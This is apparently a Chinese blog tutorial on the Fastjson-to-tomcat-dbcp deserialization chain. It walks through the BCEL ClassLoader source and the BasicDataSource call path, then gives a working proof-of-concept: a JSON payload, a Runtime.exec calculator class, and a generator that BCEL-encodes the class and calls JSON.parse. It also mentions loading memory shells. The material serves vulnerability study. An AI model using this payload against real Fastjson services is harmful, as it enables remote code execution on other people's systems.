Fastjson tomcat-dbcp链

这条链可直接回显,可以解决fastjson在内网的情况,因为很多实战的时候,fastjson的应用部署在内网,只映射一个端口出来,导致前面学习的jdbcRowImpl链的jndi利用不了,而TemplatesImpl链又因为有利用条件,用parseObject()方法时,需要加入Feature.SupportNonPublicField参数,就有了大佬们使用tomcat-dhcp链,而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。

1、前置知识

1.1、BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bce

我们来看看我们今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader,在jdk的rt.jar包里面

我们来看loadClass这个方法,获取class_name,判断开头是不是$$BCEL$$,是就调用createClass(class_name),然后通过

classname获取字节码,然后调用defineClass实例化我们的字节码。我们先看看createClass

protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
......
if(cl == null) {
JavaClass clazz = null; /* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
} if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
} if(resolve)
resolveClass(cl);
} classes.put(class_name, cl); return cl;
}

createClass这个类就是把$$BCEL$$后面的字段赋值给real_name,然后通过Utility.decode将BCEL解码成字节码,然后解析字节码编程类,返回这个类,所以createClass就是获取class_name的$$BCEL$$的字节码转换成类

  protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8); JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
} // Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool(); ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/')); return clazz;
}

还有有一个点就是com.sun.org.apache.bcel.internal.classfile.Utility该类存储了bcel的加解密方法

 Utility.decode(String real_name, true)
Utility.encode(byte[] bytes,, true)

最后poc的构造

我们可以通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块

2、POC分析

2.1、依赖

    <dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency> </dependencies>

2.2、poc

{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

编写恶意代码类,并且编译成class文件,既字节码形式

package com.akkacloud;

import java.io.IOException;

public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec(" open /System/Applications/Calculator.app ");
}
}

package com.akkacloud;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility; import java.util.Arrays; class fastjson_dbcp {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(Calc.class);
//System.out.println(Arrays.toString(cls.getBytes()));
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
System.out.println(code);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}

最后说一句对jdk版本有要求,jdk1.8u251前可以成功

2.3、利用链

BasicDataSource.getConnection()

createDataSource() 

createConnectionFactory()

其实看到这个利用链,就知道传入我们的BasicDataSource类,会自动调用getter和setter方法,然后调用getConnection方法。我们在

getConnection打断点调试一下,可以看到我们在BasicDataSource里存入的恶意代码都已经存入,继续跟createDataSource

跟进发现,会判断dataSource是够为空,然后调用createConnectionFactory(就是创建链接工厂方法),继续跟进

到了这里就很清楚了,通过class.forName方法,使用我们自定义的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),获取该类

然后实例化该类,造成命令执行。

2.4、结束

旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>

Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>

我们可以通过传入内存马的Class字节码,达到回显的目的

参考

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://www.cnblogs.com/nice0e3/p/14949148.html#

最新文章

  1. js Date 时间格式化的扩展
  2. linux -时间
  3. 函数 flst_get_first
  4. 使用VS Code调试TypeScript游戏程序JsTankGame成功!!!
  5. jQuery模拟点击A标记
  6. 通过项目逐步深入了解Mybatis&lt;三&gt;
  7. 各种字符串Hash函数比较
  8. eclipse中常用提高效率的快捷键
  9. leetcode125. Valid Palindrome
  10. Set replication in Hadoop
  11. kubernetes1.4新特性(一):支持sysctl命令
  12. JPA中自动使用@Table(name = &quot;userTab&quot;)后自动将表名、列名添加了下划线的问题
  13. 内核参数SEMMSL SEMMNS SEMOPM SEMMNI参数的设置
  14. python 求第k个最大数
  15. 接口测试之基础篇--http协议
  16. PLSQL连接ORACLE配置字符串简介 oracle网络配置 三个配置文件 listener.ora、sqlnet.ora、tnsnames.ora原理解释
  17. CUBA-Platform将全面助力中国开发者
  18. 拖拽js和jq写法
  19. alpha七天冲刺计划
  20. Ubuntu安装Python的mysqlclient

热门文章

  1. Snort中pcre和正则表达式的使用
  2. JDBC几个接口分区叫什么?它们分别有什么用?
  3. springmvc组件组成以及springmvc的执行过程
  4. 位运算符 按位与 &——整数n的二进制数中1的个数
  5. 决策树3:基尼指数--Gini index(CART)
  6. Tensorflow安装教程(Anaconda)
  7. 小程序web开发框架-weweb介绍
  8. Initialization failed for &#39;https://start.spring.io
  9. Android 动态控制OptionMenu的显示与隐藏
  10. JDK安装和卸载